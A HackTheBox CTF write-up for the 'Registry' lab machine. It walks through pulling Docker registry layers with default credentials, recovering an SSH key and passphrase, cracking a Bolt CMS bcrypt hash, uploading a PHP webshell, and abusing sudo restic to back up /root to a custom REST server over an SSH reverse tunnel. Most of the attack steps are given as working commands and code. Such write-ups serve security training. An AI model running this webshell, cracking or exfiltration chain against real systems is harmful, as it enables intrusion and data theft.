HTB: Registry Writeup

Registry - HackTheBox Writeup

Machine Information

AttributeDetails
NameRegistry
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.44.89
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Registry is a hard difficulty Linux machine that demonstrates the security risks of misconfigured Docker registries, the dangers of leaving sensitive data in container layers, and the exploitation of overly permissive backup utilities. The attack chain begins with discovering a Docker Registry v2 API exposed via HTTPS with default credentials. By pulling image layers through the registry API, we obtain an encrypted SSH private key and its passphrase (stored in an expect script within the container filesystem). SSH access as the bolt user leads to discovering a Bolt CMS instance, whose admin password hash can be cracked from a SQLite database. Exploiting the CMS by modifying configuration to allow PHP uploads provides a www-data shell. Finally, privilege escalation leverages a sudo entry allowing www-data to run restic backup as root against any rest* URL. By implementing a custom Python-based restic REST server (with proper chunked POST and HTTP Range support) and using SSH remote port forwarding to bypass egress filtering, we back up the /root directory and extract the root flag from the backup repository.

TL;DR: Docker Registry API default creds (admin:admin) → pull image blobs → SSH key + expect script passphrase → bolt user → Bolt CMS SQLite database → cracked admin password (strawberry) → config file modification → PHP webshell upload → www-data shell → sudo restic backup with custom REST server + SSH tunnel → root flag extraction from backup.


Reconnaissance

Port Scanning

Terminal window
# Standard service discovery
nmap -sC -sV -T4 -p- 10.129.44.89

Results:

  • Port 22/tcp: OpenSSH (version not specified in logs)
  • Port 80/tcp: nginx/1.14.0 (Ubuntu)
  • Port 443/tcp: nginx/1.14.0 (Ubuntu) with SSL

The SSL certificate’s Common Name (CN) revealed the hostname docker.registry.htb, which was added to /etc/hosts for further enumeration.

Service Enumeration

Web Service (Port 443)

Accessing the HTTPS service revealed a Docker Registry v2 API at the /v2/ endpoint. Initial access without credentials returned a 401 Unauthorized response, indicating basic authentication was required.

Testing default credentials (admin:admin) granted access to the Docker Registry API. This is a common misconfiguration in Docker Registry deployments where administrators fail to change default credentials or implement proper authentication.

Terminal window
# Access the catalog endpoint with basic auth
curl -k -u admin:admin https://10.129.44.89/v2/_catalog

The catalog endpoint revealed a single repository: bolt-image.

Terminal window
# List tags for the bolt-image repository
curl -k -u admin:admin https://10.129.44.89/v2/bolt-image/tags/list

This returned a latest tag, indicating at least one version of the image was available.

Terminal window
# Retrieve the manifest for the latest tag
curl -k -u admin:admin https://10.129.44.89/v2/bolt-image/manifests/latest

The manifest contained multiple fsLayers entries, each with a blobSum field representing SHA256 digests of the layer contents. These blobs could be individually downloaded from the /v2/bolt-image/blobs/sha256:<digest> endpoint.

Vulnerability Assessment

  1. Docker Registry Default Credentials: The registry was accessible with admin:admin, a critical security misconfiguration.
  2. Sensitive Data in Image Layers: Container image layers often contain files that were present during build time, including potentially sensitive configuration files, credentials, and private keys.
  3. Bolt CMS Weak Credentials: The admin user’s bcrypt hash was stored in a SQLite database and could be cracked using common wordlists.
  4. File Upload Misconfiguration: The Bolt CMS configuration could be modified to allow PHP file uploads.
  5. Sudo Privilege Misconfiguration: The www-data user had passwordless sudo access to run restic backup with a wildcard URL pattern (rest*), enabling arbitrary backup operations as root.

Initial Foothold

Docker Registry Exploitation

The Docker Registry v2 API allows programmatic access to container images. Each image consists of multiple layers (filesystem changes), and the registry stores these as individual blobs. By retrieving the manifest and downloading each blob, we can reconstruct the complete filesystem of the container image.

Terminal window
# Extract blob digests from the manifest and download each layer
for digest in $(curl -s -k -u admin:admin \
https://10.129.44.89/v2/bolt-image/manifests/latest | \
jq -r '.fsLayers[].blobSum' | cut -d: -f2); do
curl -k -u admin:admin \
https://10.129.44.89/v2/bolt-image/blobs/sha256:${digest} \
-o ${digest}.tar.gz
done
# Extract each layer
for f in *.tar.gz; do
mkdir ${f%.tar.gz}
tar xzf $f -C ${f%.tar.gz}/
done

After extracting all layers, one particular blob (2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791) contained a /root/.ssh/ directory with:

  • id_rsa: An encrypted RSA private key
  • id_rsa.pub: The corresponding public key, which revealed the username bolt
  • A .viminfo file that didn’t contain useful credentials directly

However, the same layer also contained /etc/profile.d/01-ssh.sh, which was an expect script designed to automate SSH login. This script contained the passphrase in plaintext:

Terminal window
# Contents of 01-ssh.sh (expect script fragment)
send "GkOcz221Ftb3ugog\n"

The expect script’s purpose was to automatically provide the SSH key passphrase during container initialization. This is an anti-pattern in container security—sensitive credentials should never be baked into image layers, as they remain accessible even in intermediate layers.

SSH Private Key Decryption

With the passphrase GkOcz221Ftb3ugog and the encrypted private key, we could decrypt it using OpenSSL:

Terminal window
# Decrypt the SSH private key
openssl rsa -in id_rsa -passin pass:GkOcz221Ftb3ugog -out bolt_key_dec
chmod 600 bolt_key_dec
# Verify the key
ssh-keygen -y -f bolt_key_dec

SSH Access as bolt

Using the decrypted key, we authenticated as the bolt user:

Terminal window
# SSH as bolt user
ssh -i bolt_key_dec bolt@10.129.44.89
# Retrieve user flag
cat /home/bolt/user.txt
# Output: <redacted>

The user flag was successfully captured at this stage.


Lateral Movement to www-data

Bolt CMS Discovery

Enumerating the web root revealed a Bolt CMS installation at /var/www/html/bolt/:

Terminal window
# List web directories
ls -la /var/www/html/

Bolt CMS is a lightweight content management system written in PHP. The configuration and database files were stored locally.

Database Extraction

Bolt CMS uses SQLite by default, with the database located at /var/www/html/bolt/app/database/bolt.db:

Terminal window
# Copy the database file via SCP
scp -i bolt_key_dec bolt@10.129.44.89:/var/www/html/bolt/app/database/bolt.db .
# Query the database locally
sqlite3 bolt.db "SELECT username, password FROM bolt_users;"

The admin user’s password was stored as a bcrypt hash. Bcrypt hashes have the format $2y$10$... and are designed to be computationally expensive to crack, but weak passwords remain vulnerable to dictionary attacks.

Password Cracking

Terminal window
# Extract hash to a file
echo '$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK' > admin.hash
# Crack with john using rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# Output: strawberry

The password strawberry was recovered in seconds, demonstrating the weakness of using common passwords even with strong hashing algorithms.

Bolt CMS Authentication

Accessing the Bolt admin panel at https://10.129.44.89/bolt/bolt/ and logging in with admin:strawberry granted full administrative access to the CMS.

Configuration Modification for PHP Upload

By default, Bolt CMS restricts file uploads to safe types (images, documents, etc.) through the accept_file_types configuration parameter. However, administrators can modify this via the web interface.

The configuration file /var/www/html/bolt/app/config/config.yml needed modification to include php in the allowed file types:

Terminal window
# Via SSH as bolt user, read the current config
cat /var/www/html/bolt/app/config/config.yml | grep accept_file_types
# Default: accept_file_types: [ twig, html, js, css, scss, gif, jpg, ... ]
# Modify locally to add php at the beginning
sed 's/accept_file_types: \[ twig,/accept_file_types: [ php, twig,/' config.yml > config_mod.yml

The modification was then saved through the Bolt CMS file editor interface:

Terminal window
# Using the web interface File Editor
# 1. Navigate to Configuration > File Editor
# 2. Select config/config.yml
# 3. Add 'php' to accept_file_types array
# 4. Click Save

Important timing constraint: The machine had a cron job that reset config.yml and cleared the /var/www/html/bolt/files/ directory approximately every minute. This meant the entire chain (config modification → file upload → shell execution) needed to be completed within a narrow time window.

PHP Webshell Upload

With PHP files now permitted, a simple webshell could be uploaded:

<?php echo "SHELLOK:"; echo shell_exec($_GET["cmd"]);?>

The upload was performed through the Bolt file manager interface, using the correct form field name file_upload[select][] and posting to /bolt/bolt/files:

Terminal window
# Automated upload script (excerpt)
# Create webshell
printf '<?php echo "SHELLOK:"; echo shell_exec($_GET["cmd"]);?>' > shell.php
# Upload via curl
curl -s -k -b cookies.txt -H "Host: registry.htb" \
-F "file_upload[select][]=@shell.php;type=image/png" \
-F "file_upload[upload]=Upload file" \
-F "file_upload[_token]=$TOKEN" \
https://10.129.44.89/bolt/bolt/files

Note the MIME type was set to image/png to bypass any client-side filtering, though the server-side check only validated the file extension (now including .php).

Webshell Execution

The uploaded shell was accessible at https://10.129.44.89/bolt/files/shell.php:

Terminal window
# Test webshell
curl -k "https://10.129.44.89/bolt/files/shell.php?cmd=id"
# Output: SHELLOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Check sudo privileges
curl -k "https://10.129.44.89/bolt/files/shell.php?cmd=sudo+-l"
# Output includes:
# User www-data may run the following commands on registry:
# (root) NOPASSWD: /usr/bin/restic backup -r rest*

The sudo entry revealed that www-data could execute /usr/bin/restic backup as root with no password, provided the repository URL matched the pattern rest*. This wildcard pattern is critical—it allows us to specify any URL beginning with “rest”, including local addresses.


Privilege Escalation

Understanding Restic

Restic is a modern backup program that supports multiple backend storage types, including REST servers via HTTP/HTTPS. The sudo entry allowed www-data to back up arbitrary files (including /root) to a REST server of our choosing.

The key insight is that by controlling the backup destination, we can:

  1. Force restic to back up sensitive files (like /root/root.txt)
  2. Retrieve those files from our own backup server
  3. Mount or extract the backup to read the contents

Restic REST Server Implementation

The standard restic REST server (restic/rest-server) is typically deployed via Docker. However, the target machine had no Docker client available, and our jump box environment had limited resources. More critically, a naive HTTP server implementation would fail due to two specific requirements of restic 0.8.3:

  1. Chunked POST bodies: Restic sends backup data using HTTP chunked transfer encoding (no Content-Length header). A server that only reads Content-Length bytes will receive zero-byte files.

  2. HTTP Range requests: Restic optimizes blob retrieval using Range headers (Range: bytes=start-end). A server that doesn’t support Range requests returns the entire file starting from byte 0, causing decryption failures for blobs not at the beginning of pack files (“ciphertext verification failed”).

A custom Python implementation was created to handle these requirements:

#!/usr/bin/env python3
# restserver.py - Minimal restic REST server with chunked POST and Range GET support
import os, sys, json
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
BASE = sys.argv[1] if len(sys.argv) > 1 else "/dev/shm/reprepo"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 34569
TYPES = ("data", "index", "keys", "locks", "snapshots")
def diskpath(path):
# Convert URL path to filesystem path
p = path.split("?", 1)[0].strip("/")
return os.path.join(BASE, p) if p else BASE
class H(BaseHTTPRequestHandler):
def log_message(self, *a):
sys.stderr.write("%s %s\n" % (self.command, self.path))
def _mkrepo(self):
# Create repository directory structure
for t in TYPES:
os.makedirs(os.path.join(BASE, t), exist_ok=True)
def do_POST(self):
# Handle repository initialization and blob uploads
p = self.path.split("?", 1)[0]
if p == "/" or "create=true" in self.path:
self._mkrepo()
self.send_response(200)
self.end_headers()
return
# Handle chunked transfer encoding
te = (self.headers.get("Transfer-Encoding") or "").lower()
if "chunked" in te:
body = b""
while True:
line = self.rfile.readline().strip()
if not line:
continue
try:
sz = int(line.split(b";")[0], 16)
except ValueError:
break
if sz == 0:
self.rfile.readline() # trailing CRLF
break
body += self.rfile.read(sz)
self.rfile.readline() # CRLF after chunk
else:
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length) if length else b""
# Write to disk
dp = diskpath(self.path)
os.makedirs(os.path.dirname(dp), exist_ok=True)
with open(dp, "wb") as f:
f.write(body)
self.send_response(200)
self.end_headers()
def do_HEAD(self):
# Check if blob exists
dp = diskpath(self.path)
if os.path.isfile(dp):
self.send_response(200)
self.send_header("Content-Length", str(os.path.getsize(dp)))
self.end_headers()
else:
self.send_response(404)
self.end_headers()
def do_GET(self):
p = self.path.split("?", 1)[0].strip("/")
dp = diskpath(self.path)
# List directory contents (for snapshots, keys, etc.)
if p in TYPES or (p and os.path.isdir(dp)):
names = []
if os.path.isdir(dp):
for rootd, dirs, files in os.walk(dp):
names.extend(files)
out = json.dumps(names).encode()
self.send_response(200)
self.send_header("Content-Type", "application/vnd.x.restic.rest.v1+json")
self.send_header("Content-Length", str(len(out)))
self.end_headers()
self.wfile.write(out)
return
# Return file with Range support
if os.path.isfile(dp):
data = open(dp, "rb").read()
rng = self.headers.get("Range")
# Handle Range requests (critical for restic)
if rng and rng.startswith("bytes="):
spec = rng[len("bytes="):].split(",")[0]
s, _, e = spec.partition("-")
start = int(s) if s else 0
end = int(e) if e else len(data) - 1
end = min(end, len(data) - 1)
chunk = data[start:end + 1]
self.send_response(206) # Partial Content
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Range",
"bytes %d-%d/%d" % (start, end, len(data)))
self.send_header("Content-Length", str(len(chunk)))
self.end_headers()
self.wfile.write(chunk)
return
# Full file response
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
return
self.send_response(404)
self.end_headers()
def do_DELETE(self):
# Handle blob deletion
dp = diskpath(self.path)
try:
os.remove(dp)
self.send_response(200)
except Exception:
self.send_response(404)
self.end_headers()
class TS(ThreadingMixIn, HTTPServer):
daemon_threads = True
if __name__ == "__main__":
os.makedirs(BASE, exist_ok=True)
print("serving %s on 127.0.0.1:%d" % (BASE, PORT))
TS(("127.0.0.1", PORT), H).serve_forever()

Why these implementations matter:

  • Chunked POST: Without dechunking, the config file is written with 0 bytes, causing “config file has zero size” errors when restic tries to open the repository.
  • Range GET: Restic stores multiple blobs in “pack files” and uses Range requests to read specific blobs by offset. Without Range support, requests for blobs at offset > 0 return data from offset 0, which fails HMAC verification (restic encrypts and authenticates each blob). Trees (directory listings) are often at offset 0 so restic ls may work, but restic dump of actual file contents fails with “ciphertext verification failed”—a very misleading error message.

REST Server Deployment

The server was deployed on the jump host (which had internet access for the restic binary but the target machine did not):

Terminal window
# On jump host, in /dev/shm (due to /tmp being 100% full)
python3 /dev/shm/restserver.py /dev/shm/reprepo 34569 >/dev/shm/rest.log 2>&1 &
# Initialize the repository
export RESTIC_PASSWORD=pwnpwn
restic -r rest:http://127.0.0.1:34569/ init
# Verify repository
restic -r rest:http://127.0.0.1:34569/ snapshots
# Output: 0 snapshots (empty repository)

SSH Remote Port Forward

The target machine had egress filtering that blocked outbound connections to external hosts. However, SSH remote port forwarding (-R) allows the SSH client (target) to accept connections on its localhost that are forwarded back through the SSH tunnel to the jump host.

Terminal window
# From jump host, establish reverse tunnel
# Target's 127.0.0.1:8001 → Jump's 127.0.0.1:34569
ssh -i /dev/shm/bolt_key_dec \
-o StrictHostKeyChecking=no \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 \
-N \
-R 8001:127.0.0.1:34569 \
bolt@10.129.44.89 &

This command establishes a persistent tunnel where connections to port 8001 on the target are forwarded to port 34569 on the jump host (where our REST server listens).

Why -R instead of -L:

  • -L (local forward) requires the target to initiate connections to our server, but egress is blocked.
  • -R (remote forward) makes the jump host’s service available to the target via localhost, bypassing egress restrictions.

Sudo Restic Backup Execution

With the tunnel in place and the REST server running, we could trigger the backup via the webshell:

Terminal window
# Stage the restic password file on target (sudo env_reset strips environment)
echo "pwnpwn" > /dev/shm/rp
chmod 644 /dev/shm/rp
# Execute backup via webshell
curl -k "https://10.129.44.89/bolt/files/shell.php" \
--data-urlencode \
'cmd=sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8001/ --password-file /dev/shm/rp /root 2>&1'
# Output includes:
# scan [/root]
# [0:00] 10 directories, 13 files, 27.856 KiB
# snapshot 0131894d saved

Key technical details:

  1. —password-file instead of RESTIC_PASSWORD: sudo with env_reset strips environment variables. The password must be provided via file.

  2. rest wildcard*: The sudo entry specifies -r rest*, which means the -r argument must start with “rest”. This allows rest:http://127.0.0.1:8001/ but would also allow restaurant:http://... or any other string starting with “rest”. The wildcard also permits additional arguments after the URL (like /root), which is why the command succeeds.

  3. Backup target /root: The backup includes the entire root home directory, including .ssh, root.txt, and potentially other sensitive files.

Flag Extraction from Backup

With the backup complete, we could extract files locally on the jump host:

Terminal window
# On jump host
export RESTIC_PASSWORD=pwnpwn
export TMPDIR=/dev/shm # /tmp was full, causing temp file errors
# List snapshots
restic -r rest:http://127.0.0.1:34569/ snapshots
# Output:
# ID Time Host Tags Paths
# --------------------------------------------------------------
# 0131894d 2026-07-21 20:19:47 registry /root
# List files in snapshot
restic -r rest:http://127.0.0.1:34569/ ls latest | grep -E 'root.txt|\.ssh'
# Output:
# /root/.ssh/authorized_keys
# /root/.ssh/id_rsa
# /root/.ssh/id_rsa.pub
# /root/root.txt
# Dump root flag
restic -r rest:http://127.0.0.1:34569/ dump latest /root/root.txt
# Output: <redacted>

The root flag was successfully extracted from the backup without needing direct root access to the machine.


Attack Chain Summary

Docker Registry API (admin:admin)
→ Download image blobs (bolt-image:latest)
→ Extract SSH key + expect script with passphrase (GkOcz221Ftb3ugog)
→ SSH as bolt user (user.txt)
→ Extract Bolt CMS database (bolt.db)
→ Crack admin bcrypt hash (strawberry)
→ Modify config.yml to allow PHP uploads
→ Upload PHP webshell (www-data shell)
→ Deploy custom Python restic REST server on jump host
→ SSH remote port forward (-R 8001:127.0.0.1:34569)
→ Sudo restic backup /root to localhost:8001
→ Extract root.txt from backup repository

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlDocker Registry API interaction, web requests, webshell execution
jqJSON parsing of Docker manifest
tarExtracting Docker image layer blobs
opensslDecrypting SSH private key
sshRemote access and port forwarding
scpSecure file copy for database extraction
sqlite3Querying Bolt CMS database
johnPassword hash cracking
python3Custom restic REST server implementation
resticBackup repository management and file extraction

Key Learnings

Techniques Practiced

  • Docker Registry v2 API enumeration: Using the catalog, tags, manifests, and blobs endpoints to reconstruct container images without docker client access
  • Container layer analysis: Understanding that intermediate layers persist all files that existed during build, even if later deleted
  • Expect script analysis: Recognizing automation scripts (expect, AutoIt, etc.) as sources of hardcoded credentials
  • SQLite database forensics: Extracting and querying SQLite databases for credential harvesting
  • CMS configuration exploitation: Modifying configuration files via admin interfaces to enable dangerous file upload types
  • Timing attack windows: Working within narrow time constraints imposed by automated cleanup scripts
  • HTTP protocol implementation: Building a spec-compliant REST server supporting chunked transfer encoding and Range requests
  • SSH tunneling for egress bypass: Using remote port forwarding to make internal services accessible through existing SSH sessions
  • Backup program abuse: Leveraging privileged backup utilities to extract sensitive data without direct access
  • Restic repository manipulation: Understanding backup repository structure, snapshot browsing, and selective file extraction

Lessons Learned

  1. Default Credentials Are Critically Dangerous: The entire attack chain began with admin:admin on the Docker Registry. Default credentials should never remain in production, and all services should enforce strong authentication from initial deployment.

  2. Container Images Are Not Secure Storage: Docker layers are immutable and cumulative. Any file written during build remains in intermediate layers even if deleted in later layers. Never store credentials, keys, or sensitive data in Dockerfiles. Use secrets management, environment variables, or volume mounts instead.

  3. Expect Scripts Are Credential Goldmines: Automation scripts designed to bypass interactive prompts often contain plaintext passwords or passphrases. Review all automation scripts (expect, .bat, .ps1, etc.) for hardcoded credentials.

  4. Configuration File Access = Code Execution: Any CMS or application that allows authenticated users to modify configuration files (especially file upload restrictions) can often lead to arbitrary code execution. These modifications should require separate authorization and audit logging.

  5. Sudo Wildcards Are Dangerous: The rest* pattern in the sudo entry was intended to restrict the backup destination but actually allows any URL starting with “rest”. Sudo entries should be as specific as possible, and wildcards should be avoided. Even better, use tools like sudoedit for file operations or dedicated APIs for backup operations.

  6. Backup Programs Run as Root Are High-Value Targets: Tools like restic, rsync, and tar, when allowed to run as root, can read any file on the system. If user-controlled destinations are permitted, these become data exfiltration vectors. Restrict backup operations to read-only snapshots or use dedicated backup users with minimal privileges.

  7. HTTP Protocol Details Matter: The failure modes of incomplete HTTP server implementations can be subtle and misleading. Restic’s “ciphertext verification failed” error for missing Range support appeared to be a cryptographic issue but was actually a protocol implementation problem. Always implement complete HTTP semantics when building server applications.

  8. Network Egress Filtering Can Be Bypassed via Existing Tunnels: While egress filtering blocks direct outbound connections, SSH reverse tunnels leverage existing inbound SSH access to create outbound channels. Defense in depth requires monitoring for unusual port forwards and restricting SSH options.

  9. Timing Windows Require Atomic Scripts: The one-minute cron cleanup required combining multiple steps (config modification, file upload, execution) into a single fast script. Understanding and working within defensive timing constraints is crucial for exploiting transient vulnerabilities.

  10. Resource Constraints Inform Approach: The full /tmp partition and shared jump box environment required using /dev/shm and writing custom implementations instead of standard tools. Real-world exploitation often involves adapting techniques to resource-constrained environments.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew conceptual explanations and technique descriptions from the official HackTheBox writeup for Registry by MrR3boot, available through the HackTheBox platform. All specific commands, outputs, IP addresses, and implementation details are from the documented solve above and differ from the reference material.